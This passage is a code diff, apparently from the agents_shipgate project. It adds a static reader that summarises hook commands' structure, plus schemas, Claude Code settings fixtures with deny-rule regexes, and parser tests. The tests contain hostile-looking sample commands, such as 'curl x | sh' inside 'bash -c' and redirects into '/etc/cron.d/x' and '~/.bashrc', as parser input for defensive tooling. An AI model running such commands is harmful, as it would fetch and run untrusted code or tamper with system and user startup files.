never both: ``too_long`` (past + :data:`~agents_shipgate.core.hook_command_shape.MAX_COMMAND_CHARS`), + ``unsupported_shell`` (a ``shell`` setting other than ``bash`` or ``sh``) + and ``unsupported_syntax`` (a form the bounded reader of + :mod:`agents_shipgate.core.hook_command_shape` refuses whole). + + Only plain tokens (:func:`_plain_token`), counts and a script or redirect + path of the strict shapes above are published; a word, an argument and a + quoted string never are. A program that is not a plain token (a variable, + a substitution, a quoted or glob word) is counted in ``unnamed``. Nothing + here says what a command does, whether a host runs it, or in which + direction an edit moves authority. + """ + + if shell is not None and shell not in {"bash", "sh"}: + return {"shape_limit": "unsupported_shell"} + if _LINE_CONTINUATION_RE.search(value): + sanitized = _sanitize_sensitive_string(_LINE_CONTINUATION_RE.sub("", value)) + try: + structure = parse_command(_REDACTION_MARKER_RE.sub(_MARKER_WORD, sanitized)) + except UnsupportedCommand as refusal: + return {"shape_limit": refusal.limit} + names: dict[str, None] = {} + unnamed = 0 + for statement in structure.statements: + # A URL's last segment would be its host, which the sanitized text keeps. + name = ( + _plain_token(statement.word.rsplit("/", 1)[-1]) + if statement.word is not None and "://" not in statement.word else DETAIL_NOT_SHOWN + ) + if name == DETAIL_NOT_SHOWN or _looks_generated(name): + unnamed += 1 + else: + names.setdefault(name) + listed = list(names)[:MAX_SHAPE_COMMANDS] + redirects = [ + f"{operator} {_redirect_target(target)}" for operator, target in structure.redirects + ] + script = _command_script(structure.statements) + if script is not None and _path_looks_generated(script): + script = None + return {"shape": { + "commands": listed, + **({"commands_more": len(names) - len(listed)} if len(names) > len(listed) else {}), + **({"unnamed": unnamed} if unnamed else {}), + "statements": len(structure.statements), + "pipes": structure.pipes, + "substitutions": structure.substitutions, + "control_flow": structure.control, + "quoted": structure.quoted, + **({"redirects": redirects[:MAX_SHAPE_REDIRECTS]} if redirects else {}), + **( + {"redirects_more": len(redirects) - MAX_SHAPE_REDIRECTS} + if len(redirects) > MAX_SHAPE_REDIRECTS else {} + ), + **({"script": script} if script else {}), + }} #: A script path a hook's ``args`` may publish, and nothing else of them @@ -1554,6 +1725,12 @@ def _hook_command(value: Any) -> dict[str, str] | None: r"\.(?:py|sh|bash|zsh|js|mjs|cjs|ts|mts|cts|rb|pl|php|ps1|lua)" ) MAX_DETAIL_SCRIPT_CHARS = 200 +#: A redirect target a command's shape may publish (#934): the script path +#: above without its extension and without ``..`` segments. +_REDIRECT_TARGET_RE = re.compile( + r"(?:\$\{CLAUDE_(?:PROJECT_DIR|PLUGIN_ROOT)\}/|\./)?" + r"(?:(?!\.\.?/)[A-Za-z0-9._-]+/)*[A-Za-z0-9._-]*[A-Za-z0-9_-]" +) #: How many arguments before a script candidate are read with it, so a value #: only its neighbours mark as a credential (``Bearer ``, ``-u #: user:``, ``Authorization: Bearer ``) is never published: @@ -1687,7 +1864,7 @@ def _hook_handlers(config: Any, *, host: str | None = None, event: str | None = handlers.extend( { "matcher": published, - "command": _hook_command(handler.get("command")), + "command": _hook_command(handler.get("command"), handler.get("shell")), "timeout": _hook_timeout(handler.get("timeout")), **({"args": _hook_args(handler)} if handler.get("args") is not None else {}), **{ diff --git a/src/agents_shipgate/schemas/host_grants.py b/src/agents_shipgate/schemas/host_grants.py index 84f7bc7e..9f87c586 100644 --- a/src/agents_shipgate/schemas/host_grants.py +++ b/src/agents_shipgate/schemas/host_grants.py @@ -1245,6 +1245,71 @@ class HostInventoryIssueV9(HostInventoryIssueV8): host: HostNameV9 +class HostHookCommandShapeV9(BaseModel): + """What a hook's inline command is made of, without any of its text (#934). + + Read by a bounded, static reading of the command as ``config_sha256``'s + input holds it, never run. ``commands`` lists, in the order they are + written, the first 12 distinct programs named at a command position, each + a plain token (``[A-Za-z0-9._+-]``, at most 80 characters) no redaction + rule rewrites, the last ``/`` segment of the word; ``commands_more`` counts + the distinct programs past those, and ``unnamed`` the command positions + whose word is not such a token (a variable, a substitution, a quoted or + glob word), both left out when 0. ``statements`` counts the simple + commands, ``pipes`` the ``|`` and ``|&`` operators, ``substitutions`` the + ``$( … )`` command substitutions, ``control_flow`` the ``if``, ``elif``, + ``while``, ``until`` and ``for`` keywords and ``quoted`` the quoted + strings, each across the whole command. ``redirects`` lists, in order, at + most 8 redirects to a file as ``> target``, ``>> target`` or ``< target``, + the target only when it is ``/dev/null`` or a repository-relative path of + letters, digits, ``.``, ``_`` and ``-`` with no ``..`` segment that no + redaction rule rewrites, ```` otherwise; ``redirects_more`` + counts those past them. ``script`` is a script path published as a + handler's ``args`` publish one: a command word shaped as a relative script + path, or the first such argument of an interpreter. A command that runs + ``bash -c '…'`` with a literal script is read inside that script too. + + No argument, quoted string, variable or absolute path is published. It + describes the command's structure and claims nothing about what it does, + whether a host runs it, or in which direction a change moves authority. + """ + + model_config = ConfigDict(extra="forbid") + + commands: list[str] + commands_more: int | None = Field(default=None, exclude_if=lambda value: value is None) + unnamed: int | None = Field(default=None, exclude_if=lambda value: value is None) + statements: int + pipes: int + substitutions: int + control_flow: int + quoted: int + redirects: list[str] | None = Field(default=None, exclude_if=lambda value: value is None) + redirects_more: int | None = Field(default=None, exclude_if=lambda value: value is None) + script: str | None = Field(default=None, max_length=200, exclude_if=lambda value: value is None) + + +class HostHookCommandV9(HostHookCommandV7): + """A hook command plus the shape of the inline command, or why it has none (#934). + + Exactly one of ``shape`` and ``shape_limit`` is present. ``shape_limit`` + says why the command is not described and the digest is all there is to + compare: ``too_long`` (more than 8,192 characters as ``config_sha256``'s + input holds it), ``unsupported_shell`` (the handler's ``shell`` setting is + neither ``bash`` nor ``sh``) or ``unsupported_syntax`` (a form the bounded + reading refuses whole: a here-document, a backquote, ``$(( … ))``, + ``case``, a function definition, an unterminated quote or group, or a + command past its word or nesting bound). A row then says so and that the + config has to be opened to read the change. Left out of grant equality, + the inventory digests and saved baselines, like the rest of ``handlers``. + """ + + shape: HostHookCommandShapeV9 | None = Field(default=None, exclude_if=lambda value: value is None) + shape_limit: Literal["too_long", "unsupported_shell", "unsupported_syntax"] | None = Field( + default=None, exclude_if=lambda value: value is None, + ) + + class HostHookArgsV9(BaseModel): """A hook handler's ``args``, without their text (#972). @@ -1273,7 +1338,8 @@ class HostHookArgsV9(BaseModel): class HostHookHandlerV9(HostHookHandlerV7): """A hook handler plus its ``args``, its documented settings and, on a Claude Code tool event, its matcher's reach. - ``args`` is present only on a handler that declares them + ``command`` also carries the shape of an inline command, or why it has + none (:class:`HostHookCommandV9`, #934). ``args`` is present only on a handler that declares them (:class:`HostHookArgsV9`). ``type``, ``async``, ``asyncRewake``, ``shell`` and ``once``, the documented boolean and enumerated handler settings (https://code.claude.com/docs/en/hooks#common-fields), are each @@ -1304,6 +1370,7 @@ class HostHookHandlerV9(HostHookHandlerV7): # documented name. model_config = ConfigDict(extra="forbid", serialize_by_alias=True) + command: HostHookCommandV9 | None = None matcher_reach: Literal["possible", "no_tool_name"] | None = Field( default=None, exclude_if=lambda value: value is None, ) diff --git a/tests/fixtures/hook_command_shape/README.md b/tests/fixtures/hook_command_shape/README.md new file mode 100644 index 00000000..1b04cf62 --- /dev/null +++ b/tests/fixtures/hook_command_shape/README.md @@ -0,0 +1,12 @@ +# Hook command shape fixtures (#934) + +`jet_pr303_base.settings.json` and `jet_pr303_head.settings.json` are the +`.claude/settings.json` of CirrusRedOrg/EntityFrameworkCore.Jet (MIT) at the +base `416a2aa46e17c2ea9e9bf4302be5b130bd6c8f37` and head +`0d999b84e6dc62a68a8a553a10ab37b08c8bf226` of pull request #303, the pair +`agents-shipgate diff` 1.2.0 printed as `PreToolUse: command changed +( sha256:f23acba4b10f → sha256:3f1dc36980b7)`. + +They are read as data and never run. They are kept outside a `.claude/` +directory so no tool treats them as this repository's own host +configuration. diff --git a/tests/fixtures/hook_command_shape/jet_pr303_base.settings.json b/tests/fixtures/hook_command_shape/jet_pr303_base.settings.json new file mode 100644 index 00000000..55f0268b --- /dev/null +++ b/tests/fixtures/hook_command_shape/jet_pr303_base.settings.json @@ -0,0 +1,50 @@ +{ + "permissions": { + "allow": [ + "Bash(dotnet test *)", + "Bash(dotnet build *)", + "Bash(dotnet restore *)", + "Bash(dotnet nuget list source)", + "Bash(dotnet --info)", + "Bash(dotnet --version)", + "Bash(dotnet --list-sdks)", + "Bash(dotnet --list-runtimes)", + "PowerShell(dotnet test *)", + "PowerShell(dotnet build *)", + "PowerShell(dotnet restore *)", + "Bash(git status*)", + "Bash(git add*)", + "Bash(git diff*)", + "Bash(git log*)", + "Bash(git show*)", + "Bash(git branch*)", + "Bash(git commit*)", + "Bash(git push*)", + "PowerShell" + ] + }, + "hooks": { + "PostToolUse": [ + { + "matcher": "Write", + "hooks": [ + { + "type": "command", + "command": "in=$(cat); p=$(printf '%s' \"$in\" | sed -n 's/.*\"file_path\"[[:space:]]*:[[:space:]]*\"\\([^\"]*\\)\".*/\\1/p' | sed 's|\\\\\\\\|/|g'); if [ -f \"$p\" ]; then sed -i 's/\\r$//; s/$/\\r/' \"$p\"; fi; true" + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "Bash|PowerShell", + "hooks": [ + { + "type": "command", + "command": "in=$(cat); body=$(printf '%s' \"$in\" | sed 's/\"scratchpad_dir\":\"[^\"]*\"//g; s/\"transcript_path\":\"[^\"]*\"//g; s/\"cwd\":\"[^\"]*\"//g; s/\"description\":\"[^\"]*\"//g'); if printf '%s' \"$body\" | grep -qE '(^|[;&|(\")])[[:space:]]*(python[0-9.]*|pythonw|py)([[:space:]]|\")|sed[[:space:]]+-[a-zA-Z]*i|sed[[:space:]]+--in-place|>[[:space:]]*[^[:space:];&|]*\\.(cs|md|csproj|props|targets|sln|json|ps1|g4)|tee[[:space:]][^;&|]*\\.(cs|md|csproj|props|targets|sln|json|ps1|g4)'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Shell edits to source files (and Python) are disallowed: they bypass file checkpointing, so /rewind cannot undo them. Use Edit or Write instead. Writing logs to the scratchpad is fine.\"}}'; elif printf '%s' \"$body\" | grep -qE '(^|[;&(\")]|\\\\\\\\n)[[:space:]]*(grep|egrep|fgrep|rg|cat|head|tail|ls|dir|find|fd|fdfind|Get-Content|gc|Get-ChildItem|gci|Select-String|sls)([[:space:]]|\")'; then if ! printf '%s' \"$body\" | grep -qE '(scratchpad|\\.log|\\$log|/tmp/)'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Reading files through the shell costs a permission prompt and bypasses the dedicated tools. Use Grep for content, Glob for filenames, Read for file contents. Shell text tools stay allowed on scratchpad logs (paths containing scratchpad, .log or $log).\"}}'; elif ! printf '%s' \"$body\" | grep -qE '([;&`]|[$]\\()'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"allow\",\"permissionDecisionReason\":\"Pre-approved: a shell text tool reading a scratchpad/log path, as a single command with no chaining.\"}}'; fi; fi; true" + } + ] + } + ] + } +} diff --git a/tests/fixtures/hook_command_shape/jet_pr303_head.settings.json b/tests/fixtures/hook_command_shape/jet_pr303_head.settings.json new file mode 100644 index 00000000..d3afe08f --- /dev/null +++ b/tests/fixtures/hook_command_shape/jet_pr303_head.settings.json @@ -0,0 +1,50 @@ +{ + "permissions": { + "allow": [ + "Bash(dotnet test *)", + "Bash(dotnet build *)", + "Bash(dotnet restore *)", + "Bash(dotnet nuget list source)", + "Bash(dotnet --info)", + "Bash(dotnet --version)", + "Bash(dotnet --list-sdks)", + "Bash(dotnet --list-runtimes)", + "PowerShell(dotnet test *)", + "PowerShell(dotnet build *)", + "PowerShell(dotnet restore *)", + "Bash(git status*)", + "Bash(git add*)", + "Bash(git diff*)", + "Bash(git log*)", + "Bash(git show*)", + "Bash(git branch*)", + "Bash(git commit*)", + "Bash(git push*)", + "PowerShell" + ] + }, + "hooks": { + "PostToolUse": [ + { + "matcher": "Write", + "hooks": [ + { + "type": "command", + "command": "in=$(cat); p=$(printf '%s' \"$in\" | sed -n 's/.*\"file_path\"[[:space:]]*:[[:space:]]*\"\\([^\"]*\\)\".*/\\1/p' | sed 's|\\\\\\\\|/|g'); if [ -f \"$p\" ]; then sed -i 's/\\r$//; s/$/\\r/' \"$p\"; fi; true" + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "Bash|PowerShell", + "hooks": [ + { + "type": "command", + "command": "in=$(cat); body=$(printf '%s' \"$in\" | sed 's/\"scratchpad_dir\":\"[^\"]*\"//g; s/\"transcript_path\":\"[^\"]*\"//g; s/\"cwd\":\"[^\"]*\"//g; s/\"description\":\"[^\"]*\"//g'); if printf '%s' \"$body\" | grep -qE '(^|[;&|(\")])[[:space:]]*(python[0-9.]*|pythonw|py)([[:space:]]|\")|sed[[:space:]]+-[a-zA-Z]*i|sed[[:space:]]+--in-place|>[[:space:]]*[^[:space:];&|]*\\.(cs|md|csproj|props|targets|sln|json|ps1|g4)|tee[[:space:]][^;&|]*\\.(cs|md|csproj|props|targets|sln|json|ps1|g4)'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Shell edits to source files (and Python) are disallowed: they bypass file checkpointing, so /rewind cannot undo them. Use Edit or Write instead. Writing logs to the scratchpad is fine.\"}}'; elif printf '%s' \"$body\" | grep -qE '(^|[;&|(\")])[[:space:]]*git[[:space:]]+(-[^[:space:]]+[[:space:]]+([^-[:space:]][^[:space:]]*[[:space:]]+)?){0,3}(grep|cat-file)([[:space:]]|\"|$)'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"git grep and git cat-file read repository files through the shell - the same thing the read rule covers, just spelled to pass the git allow-list. Use Grep for content, Glob for filenames, Read for file contents. git diff, git log and git show stay allowed for reviewing history.\"}}'; elif printf '%s' \"$body\" | grep -qE '(^|[;&(\")]|\\\\\\\\n)[[:space:]]*(grep|egrep|fgrep|rg|cat|head|tail|ls|dir|find|fd|fdfind|Get-Content|gc|Get-ChildItem|gci|Select-String|sls)([[:space:]]|\")'; then if ! printf '%s' \"$body\" | grep -qE '(scratchpad|\\.log|\\$log|/tmp/)'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Reading files through the shell costs a permission prompt and bypasses the dedicated tools. Use Grep for content, Glob for filenames, Read for file contents. Shell text tools stay allowed on scratchpad logs (paths containing scratchpad, .log or $log).\"}}'; elif ! printf '%s' \"$body\" | grep -qE '([;&`]|[$]\\()'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"allow\",\"permissionDecisionReason\":\"Pre-approved: a shell text tool reading a scratchpad/log path, as a single command with no chaining.\"}}'; fi; elif printf '%s' \"$body\" | grep -qE 'dotnet[[:space:]]+test' && printf '%s' \"$body\" | grep -qE 'LibRed\\.(Core|Engine)\\.AccessTests'; then if ! printf '%s' \"$body\" | grep -qE '(--filter|\"run_in_background\\\"?[[:space:]]*:[[:space:]]*true)'; then echo '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"LibRed.Core.AccessTests takes about 7 minutes and LibRed.Engine.AccessTests about 1.5. Run it with --filter for the tests that cover the change, or pass run_in_background true and keep working while it runs. A whole suite in the foreground blocks the session for minutes at a time.\"}}'; fi; fi; true" + } + ] + } + ] + } +} diff --git a/tests/shard_seconds.json b/tests/shard_seconds.json index 63cc71b9..f5eb2895 100644 --- a/tests/shard_seconds.json +++ b/tests/shard_seconds.json @@ -174,6 +174,7 @@ "tests/test_headline_ranking.py": 11.7, "tests/test_heuristics.py": 0.0, "tests/test_hook_args_and_settings.py": 87.2, + "tests/test_hook_command_shape.py": 100.0, "tests/test_hook_benign_session.py": 39.1, "tests/test_hook_matcher_reach.py": 28.2, "tests/test_hook_mcp_detail_fields.py": 248.6, diff --git a/tests/test_distribution_surface_parity.py b/tests/test_distribution_surface_parity.py index 4dd5f4fa..3b0bcbef 100644 --- a/tests/test_distribution_surface_parity.py +++ b/tests/test_distribution_surface_parity.py @@ -303,6 +303,13 @@ def paths(self) -> list[Path]: # baselines, so it restates no answer and moves no row; # `tests/test_hook_args_and_settings.py` holds diff, verify, the PR # comment, check, drift and preflight to the same entry. + # A changed inline command's structure text (#934) renders the + # display-only `command.shape` or `shape_limit` the engine published, + # read from the text the digest holds and left out of grant equality, + # the inventory digests and saved baselines, so it restates no answer + # and moves no row, direction, severity or expansion signal; + # `tests/test_hook_command_shape.py` holds diff, verify, the PR + # comment, check and drift to the same entry. # Its agent-launch cells and note (#823) restate no answer: direction # comes from the engine's # `workflow_agent_widened_*` expansion signal, itself read off the diff --git a/tests/test_hook_args_and_settings.py b/tests/test_hook_args_and_settings.py index 4ec4eb46..c49515d4 100644 --- a/tests/test_hook_args_and_settings.py +++ b/tests/test_hook_args_and_settings.py @@ -182,7 +182,14 @@ def test_the_grant_publishes_the_args_and_settings_the_rows_render(tmp_path: Pat assert hook["handlers"] == [ { "matcher": "Bash", - "command": {"executable": "python3", "sha256": redacted_config_sha256("python3")}, + "command": { + "executable": "python3", + "sha256": redacted_config_sha256("python3"), + "shape": { + "commands": ["python3"], "statements": 1, "pipes": 0, "substitutions": 0, + "control_flow": 0, "quoted": 0, + }, + }, "timeout": None, # #826: a PreToolUse handler with `args` is outside the inline-allow grammar. "inline_allow": False, diff --git a/tests/test_hook_command_shape.py b/tests/test_hook_command_shape.py new file mode 100644 index 00000000..15a5f52a --- /dev/null +++ b/tests/test_hook_command_shape.py @@ -0,0 +1,744 @@ +"""#934: a hook row describes an inline command by its structure, or says to open the config. + +CirrusRedOrg/EntityFrameworkCore.Jet#303 changed one ``PreToolUse`` command and +``diff`` 1.2.0 printed ``command changed ( sha256:f23acba4b10f → + sha256:3f1dc36980b7)``: two digests, and no name because the +command opens with an assignment. Host-grants ``0.9`` (unreleased, extended in +place) now publishes on each handler's ``command`` a ``shape`` read by the +bounded, static reader of :mod:`agents_shipgate.core.hook_command_shape`: the +programs named at command positions, the counts of commands, pipes, command +substitutions, control-flow keywords and quoted strings, the redirects, and a +script path. A command the reader refuses is ``shape_limit`` instead, and its +row says the digest moved and the config has to be opened. + +Pinned here: the real pair as a static fixture on every route; the grammar +(compound commands, redirects, substitutions, inline shells, the refusals); +that no argument, quoted string, URL, credential or absolute path is +published, and that every shape #987 withholds stays withheld and its +rotations quiet; what a row says for each kind of change and for a command +that is not described; that the row, severity, direction and expansion +signals are the ones the digest-only edit had; that a saved baseline holds +none of it; and that the reader is bounded and never fails on any input. +""" + +from __future__ import annotations + +import json +import random +import re +import time +from pathlib import Path + +import pytest +from jsonschema import Draft202012Validator +from typer.testing import CliRunner + +from agents_shipgate.cli.main import app +from agents_shipgate.core.hook_command_shape import ( + MAX_COMMAND_CHARS, + MAX_DEPTH, + MAX_WORDS, + UnsupportedCommand, + parse_command, +) +from agents_shipgate.core.host_grants import ( + MAX_SHAPE_COMMANDS, + MAX_SHAPE_REDIRECTS, + _hook_command, + build_host_grants_baseline, + redacted_config_sha256, +) +from tests.test_hook_mcp_detail_fields import ( + DIGEST_REDACTED_ROTATIONS, + GENERATED_KEY, + GITHUB_TOKEN, + HOOK_HEADER, + LEAK_COMMANDS, + SETTINGS, + _boundary, + _digest, + _every_route, + _grants, + _inventory, +) +from tests.test_host_diff_review_changes import ( + _check, + _diff, + _git, + _repository, + _table_entry, + _verify, +) + +ROOT = Path(__file__).resolve().parents[1] +FIXTURES = ROOT / "tests/fixtures/hook_command_shape" +UNSHOWN = "hook edit; authority direction is unknown" +OPEN = "open the config to read the change" + + +def _stop(command: str, **handler: object) -> dict: + return {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": command, **handler}]}]}} + + +def _shape(command: str, **handler: object) -> dict: + """The ``command`` a handler publishes for ``command``.""" + + return _hook_command(command, handler.get("shell")) + + +def _row(tmp_path: Path, base: str, head: str, **handler: object) -> str: + """The change a ``diff`` row prints for a ``Stop`` command moving from ``base`` to ``head``.""" + + repo = _repository(tmp_path, {SETTINGS: _stop(base, **handler)}, {SETTINGS: _stop(head, **handler)}) + text, payload = _diff(repo) + [row] = payload["rows"] + # The digest-only edit's row: no direction, widening or severity is inferred. + assert (row["direction"], row["expands"], row["severity"]) == ("changed", False, "high") + entry = _table_entry(text, HOOK_HEADER) + assert entry[2] == UNSHOWN + return entry[1] + + +# --- the real pair, on every route ----------------------------------------- + + +REAL_ROW = ( + "PreToolUse: command changed ( sha256:f23acba4b10f → sha256:3f1dc36980b7; " + "same programs (cat, printf, sed, grep, echo, true); simple commands 15 → 25; pipes 5 → 9; " + "conditionals and loops 4 → 7; quoted strings 18 → 32)" +) + + +def _real_pair(tmp_path: Path) -> Path: + base, head = ( + (FIXTURES / f"jet_pr303_{side}.settings.json").read_text(encoding="utf-8") for side in ("base", "head") + ) + return _repository(tmp_path, {SETTINGS: base}, {SETTINGS: head}) + + +def test_the_real_pair_names_what_its_two_digests_stand_for(tmp_path: Path) -> None: + """The row the issue quoted, with the same digests, now says which programs run and how much grew.""" + + repo = _real_pair(tmp_path) + text, payload = _diff(repo) + assert " sha256:f23acba4b10f → sha256:3f1dc36980b7" in text + entry = _table_entry(text, HOOK_HEADER) + assert entry[1] == REAL_ROW + assert entry[2] == UNSHOWN + # Nothing but the explanation moved: the row, its direction and its severity are 1.2.0's. + [row] = payload["rows"] + assert (row["before"], row["after"], row["direction"], row["expands"], row["severity"]) == ( + "PreToolUse", "PreToolUse", "changed", False, "high", + ) + assert payload["review"]["summary"]["widenings"] == 0 + # The change is also described by neither quoting a pattern nor a message. + for fragment in ("dotnet", "grep -qE", "scratchpad", "Shell edits", "LibRed"): + assert fragment not in text + json.dumps(payload) + + +def test_the_real_pair_reads_the_same_on_every_route(tmp_path: Path) -> None: + repo = _real_pair(tmp_path) + _every_route(repo, tmp_path / "out", REAL_ROW) + # `check`'s boundary rows are `diff`'s rows. + assert [(r["before"], r["after"], r["direction"], r["expands"], r["why"]) for r in _boundary(repo)["rows"]] == [ + (r["before"], r["after"], r["direction"], r["expands"], r["why"]) for r in _diff(repo)[1]["rows"] + ] + + +def test_the_real_pair_publishes_a_shape_and_no_text(tmp_path: Path) -> None: + repo = _real_pair(tmp_path) + [hook] = [g for g in _grants(repo, "hook") if g["event"] == "PreToolUse"] + [handler] = hook["handlers"] + command = handler["command"] + assert command["executable"] == "" + assert command["shape"] == { + "commands": ["cat", "printf", "sed", "grep", "echo", "true"], + "statements": 25, "pipes": 9, "substitutions": 2, "control_flow": 7, "quoted": 32, + } + assert "shape_limit" not in command + published = json.dumps(_inventory(repo)) + # (`dotnet` is in this file's permission rules, so it is not a fragment to look for.) + for fragment in ("git[[:space:]]", "scratchpad_dir", "/rewind", "checkpointing"): + assert fragment not in published + Draft202012Validator( + json.loads((ROOT / "docs/host-grants-inventory-schema.v0.9.json").read_text(encoding="utf-8")) + ).validate(_inventory(repo)) + + +def test_a_saved_baseline_and_drift_hold_no_shape(tmp_path: Path) -> None: + """Drift compares a baseline, which holds no handler detail, and claims no expansion.""" + + repo = _real_pair(tmp_path) + inventory = _inventory(repo) + assert '"shape"' not in json.dumps(build_host_grants_baseline(inventory)) + _git(repo, "checkout", "-q", "main") + result = CliRunner().invoke(app, ["audit", "--host", "--workspace", str(repo), "--save-baseline", "--json"]) + assert result.exit_code in (0, 10, 20), result.output + _git(repo, "checkout", "-q", "change") + result = CliRunner().invoke(app, ["audit", "--host", "--workspace", str(repo), "--drift", "--json"]) + assert result.exit_code in (0, 10, 20), result.output + drift = json.loads(result.stdout) + assert drift["comparison_status"] == "comparable" and drift["has_drift"] is True + assert drift["expansion_signals"] == [] + for path in (repo / ".agents-shipgate").rglob("*.json"): + assert '"shape"' not in path.read_text(encoding="utf-8"), path + + +# --- the grammar ----------------------------------------------------------- + + +def _counts(**counts: int) -> dict: + return {"statements": 0, "pipes": 0, "substitutions": 0, "control_flow": 0, "quoted": 0, **counts} + + +GRAMMAR = [ + # A simple command: its program, and nothing of its arguments. + ("lint", {"commands": ["lint"], **_counts(statements=1)}), + ("npm test -- --coverage", {"commands": ["npm"], **_counts(statements=1)}), + ("/usr/local/bin/lint --fix", {"commands": ["lint"], **_counts(statements=1)}), + ("API_KEY=x lint --fix", {"commands": ["lint"], **_counts(statements=1)}), + # Pipelines and lists: each stage and each command is a command. + ("cat in | jq . | tee out", {"commands": ["cat", "jq", "tee"], **_counts(statements=3, pipes=2)}), + ("a |& b", {"commands": ["a", "b"], **_counts(statements=2, pipes=1)}), + ("make && make test || echo failed; rm -f x", { + "commands": ["make", "echo", "rm"], **_counts(statements=4), + }), + ("sleep 1 & wait", {"commands": ["sleep", "wait"], **_counts(statements=2)}), + ("a\nb\n\nc", {"commands": ["a", "b", "c"], **_counts(statements=3)}), + ("a \\\n --flag", {"commands": ["a"], **_counts(statements=1)}), + ("a # b; c", {"commands": ["a"], **_counts(statements=1)}), + # Groups, substitutions and quoting. + ("(cd x && make); { a; b; }", {"commands": ["cd", "make", "a", "b"], **_counts(statements=4)}), + ('echo "$(date)" `x`', None), + ('echo "$(date +%s)" "$(id -u)"', {"commands": ["echo", "date", "id"], **_counts( + statements=3, substitutions=2, quoted=2, + )}), + ("x=$(cat f); echo $x", {"commands": ["cat", "echo"], **_counts(statements=2, substitutions=1)}), + ("echo 'a;b|c' \"d && e\"", {"commands": ["echo"], **_counts(statements=1, quoted=2)}), + ("echo ${HOME:-/tmp} $1 $@ $$ ${#x}", {"commands": ["echo"], **_counts(statements=1)}), + # Control flow: the keywords open no program of their own. + # (`:` is a command whose name is not a plain token.) + ("if grep -q x f; then echo yes; elif true; then :; else echo no; fi", { + "commands": ["grep", "echo", "true"], "unnamed": 1, **_counts(statements=5, control_flow=2), + }), + ("if ! test -f x; then exit 1; fi", {"commands": ["test", "exit"], **_counts(statements=2, control_flow=1)}), + ("while read l; do echo $l; done < in", { + "commands": ["read", "echo"], **_counts(statements=2, control_flow=1), + }), + ("for f in *.py; do ruff $f; done", {"commands": ["ruff"], **_counts(statements=1, control_flow=1)}), + ("until false; do sleep 1; done", {"commands": ["false", "sleep"], **_counts(statements=2, control_flow=1)}), + ("[[ -n $x && -z $y ]] && echo hi", {"commands": ["echo"], **_counts(statements=1)}), + ("[ -f x ] && rm x", {"commands": ["rm"], **_counts(statements=1)}), + ("! grep x f", {"commands": ["grep"], **_counts(statements=1)}), + ("time make", {"commands": ["make"], **_counts(statements=1)}), + # Inline shells are read inside their script, to a bound. + ("bash -c 'curl x | sh'", {"commands": ["bash", "curl", "sh"], **_counts(statements=3, pipes=1, quoted=1)}), + ('sh -lc "make && make test"', {"commands": ["sh", "make"], **_counts(statements=3, quoted=1)}), + # A command word that is not a plain token is counted, never named. + ("$CMD --x", {"commands": [], "unnamed": 1, **_counts(statements=1)}), + ("'my tool' --x", {"commands": [], "unnamed": 1, **_counts(statements=1, quoted=1)}), + ("$(which lint) --x", {"commands": ["which"], "unnamed": 1, **_counts(statements=2, substitutions=1)}), + ("lint* --x", {"commands": [], "unnamed": 1, **_counts(statements=1)}), + ("lint\\ x --x", {"commands": [], "unnamed": 1, **_counts(statements=1)}), + ("C:\\tools\\lint.exe --fix", {"commands": [], "unnamed": 1, **_counts(statements=1)}), + # An escaped `;` is an argument, not a separator. + ("find . -exec rm {} \\; -print", {"commands": ["find"], **_counts(statements=1)}), +] + + +@pytest.mark.parametrize(("command", "expected"), GRAMMAR, ids=[c[0][:40] for c in GRAMMAR]) +def test_the_grammar_reads_the_structure_and_nothing_else(command: str, expected: dict | None) -> None: + published = _shape(command) + if expected is None: + assert published["shape_limit"] == "unsupported_syntax" + return + shape = published["shape"] + # `shape` leaves out what is zero or absent; compare the whole of it. + assert {key: shape[key] for key in expected} == expected + assert set(shape) <= { + "commands", "commands_more", "unnamed", "statements", "pipes", "substitutions", + "control_flow", "quoted", "redirects", "redirects_more", "script", + } + + +REDIRECTS = [ + ("cat >> logs/out.txt", [">> logs/out.txt"]), + ("cat > ./out/x.log < in.json", ["> ./out/x.log", "< in.json"]), + ("run > /dev/null 2>&1", ["> /dev/null"]), + ("run &> all.log", ["> all.log"]), + ("run 2>err.txt", ["> err.txt"]), + ("run >| force.txt", ["> force.txt"]), + # A target that is not a repository-relative path is counted, never shown. + ("run > /etc/cron.d/x", ["> "]), + ("run > ~/.bashrc", ["> "]), + ("run >> ../outside.txt", [">> "]), + ("run > $OUT", ["> "]), + ("run > \"$HOME/x\"", ["> "]), + ("run > 'a b'", ["> "]), + ("run > $(mktemp)", ["> "]), + ("run > https://x.invalid/path", ["> "]), + (f"run > {GENERATED_KEY}", ["> "]), + (f"run > {GITHUB_TOKEN}", ["> "]), + # `2>&1` duplicates a descriptor and `tee y.log` is an argument: neither is a redirect to a file. + ("run > x.log 2>&1 | tee y.log", ["> x.log"]), +] + + +@pytest.mark.parametrize(("command", "redirects"), REDIRECTS, ids=[c[0][:40] for c in REDIRECTS]) +def test_a_redirect_publishes_its_operator_and_only_a_safe_target(command: str, redirects: list[str]) -> None: + shape = _shape(command)["shape"] + assert shape["redirects"] == redirects + assert GENERATED_KEY not in json.dumps(shape) and GITHUB_TOKEN not in json.dumps(shape) + + +def test_redirects_past_the_bound_are_counted() -> None: + command = "run " + " ".join(f"> f{index}.txt" for index in range(MAX_SHAPE_REDIRECTS + 3)) + shape = _shape(command)["shape"] + assert len(shape["redirects"]) == MAX_SHAPE_REDIRECTS and shape["redirects_more"] == 3 + + +def test_programs_past_the_bound_are_counted() -> None: + command = "; 